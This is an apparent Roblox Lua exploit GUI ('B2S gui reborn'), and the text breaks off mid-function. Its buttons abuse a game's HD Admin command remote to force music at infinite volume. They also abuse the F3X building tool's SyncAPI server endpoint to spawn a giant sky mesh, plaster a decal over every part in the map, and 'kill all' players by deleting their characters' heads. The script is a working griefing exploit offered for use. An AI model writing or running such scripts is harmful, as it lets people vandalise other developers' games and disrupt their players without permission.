local screenGui = Instance.new("ScreenGui")
screenGui.Name = "e"
screenGui.Parent = player:WaitForChild("PlayerGui")
screenGui.ResetOnSpawn = false
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 515, 0, 960)
mainFrame.Position = UDim2.new(0.5, -300, 0.5, -225)
mainFrame.BackgroundColor3 = Color3.new(0, 0, 0)
mainFrame.BorderSizePixel = 3
mainFrame.BorderColor3 = Color3.new(0, 0, 1)
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = screenGui
local titleLabel = Instance.new("TextLabel")
titleLabel.Size = UDim2.new(1, 0, 0, 40)
titleLabel.Position = UDim2.new(0, 0, 0, 0)
titleLabel.BackgroundColor3 = Color3.new(0, 0, 0)
titleLabel.BorderSizePixel = 1
titleLabel.BorderColor3 = Color3.new(0, 0, 1)
titleLabel.Font = Enum.Font.JosefinSans
titleLabel.Text = "B2S gui reborn"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 30
titleLabel.Parent = mainFrame
local titleLabel = Instance.new("TextLabel")
titleLabel.Size = UDim2.new(1, 0, 0, 40)
titleLabel.Position = UDim2.new(0, 0, 0.05, 1)
titleLabel.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
titleLabel.BorderSizePixel = 0
titleLabel.BorderColor3 = Color3.new(0, 0, 1)
titleLabel.Font = Enum.Font.Roboto
titleLabel.Text = "music"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 30
titleLabel.Parent = mainFrame
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.1, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Theme"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 1846368080")
RequestCommand:InvokeServer(";pitch 0.9")
RequestCommand:InvokeServer(";volume inf")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.1, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "wont stop us"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 1847661821")
RequestCommand:InvokeServer(";pitch 0.9")
RequestCommand:InvokeServer(";volume inf")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.1, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Spooky Scary Skeletons"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 17
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 77484784570543")
RequestCommand:InvokeServer(";pitch 0.1")
RequestCommand:InvokeServer(";volume inf")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.1, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "raining men "
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 17
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 104497567166761")
RequestCommand:InvokeServer(";volume inf")
RequestCommand:InvokeServer(";pitch 0.27")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.14, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "jumpstyle"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 1839246711")
RequestCommand:InvokeServer(";pitch 0.8")
RequestCommand:InvokeServer(";volume inf")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.14, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "electro sp00k"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 99986264226275")
RequestCommand:InvokeServer(";pitch 0.2")
RequestCommand:InvokeServer(";volume inf")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.14, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "hardstyle"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 1839246774")
RequestCommand:InvokeServer(";volume inf")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.14, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Sp00ky dubstep"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 118324869664952")
RequestCommand:InvokeServer(";volume inf")
RequestCommand:InvokeServer(";pitch 1.26")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.18, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "nuke siren"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 6525690145")
RequestCommand:InvokeServer(";volume inf")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.18, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "1x1x1x1"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 139488665764275")
RequestCommand:InvokeServer(";volume inf")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.18, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "red sun"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 121922837560201")
RequestCommand:InvokeServer(";volume inf")
RequestCommand:InvokeServer(";pitch 0.3")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.18, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "sky high"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 96507001292089")
RequestCommand:InvokeServer(";pitch 0.65")
RequestCommand:InvokeServer(";volume inf")
end)
local titleLabel = Instance.new("TextLabel")
titleLabel.Size = UDim2.new(1, 0, 0, 40)
titleLabel.Position = UDim2.new(0, 0, 0.25, 1)
titleLabel.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
titleLabel.BorderSizePixel = 0
titleLabel.BorderColor3 = Color3.new(0, 0, 1)
titleLabel.Font = Enum.Font.Roboto
titleLabel.Text = "F3X Scripts"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 30
titleLabel.Parent = mainFrame
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.3, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Get F3X"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";btools")
RequestCommand:InvokeServer(";give me b")
RequestCommand:InvokeServer(";give me F3X")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.3, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Sky"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("113990905248936")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.3, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Decal"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("113990905248936")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.3, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "kill all"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function KillAll()
for i,v in game.Players:GetPlayers() do
spawn(function()
SetLocked(v.Character.Head,false)
DestroyPart(v.Character.Head)
end)
end
end
KillAll()
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.34, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Thomas"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
